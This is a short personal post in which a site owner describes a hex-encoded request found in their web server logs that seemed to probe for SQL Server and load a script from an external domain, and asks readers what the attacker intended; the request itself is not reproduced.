Another Bad Person Looking for Trouble?

I found an odd looking request in my log files:

The seemingly meaningless numbers are Hexidecimal code. Using http://www.string-functions.com/hex-string.aspx, I converted the Hex code into this string:

It looks like they were poking around for a SQLServer instance on the box and trying to make it run a .js page (currently removed from www.indexjs.ru). What do you think they were up to? Wonder what would have happened if my web server did have a SQLServer instance running on the same machine (which I don't think it does) and if that .js page had run?
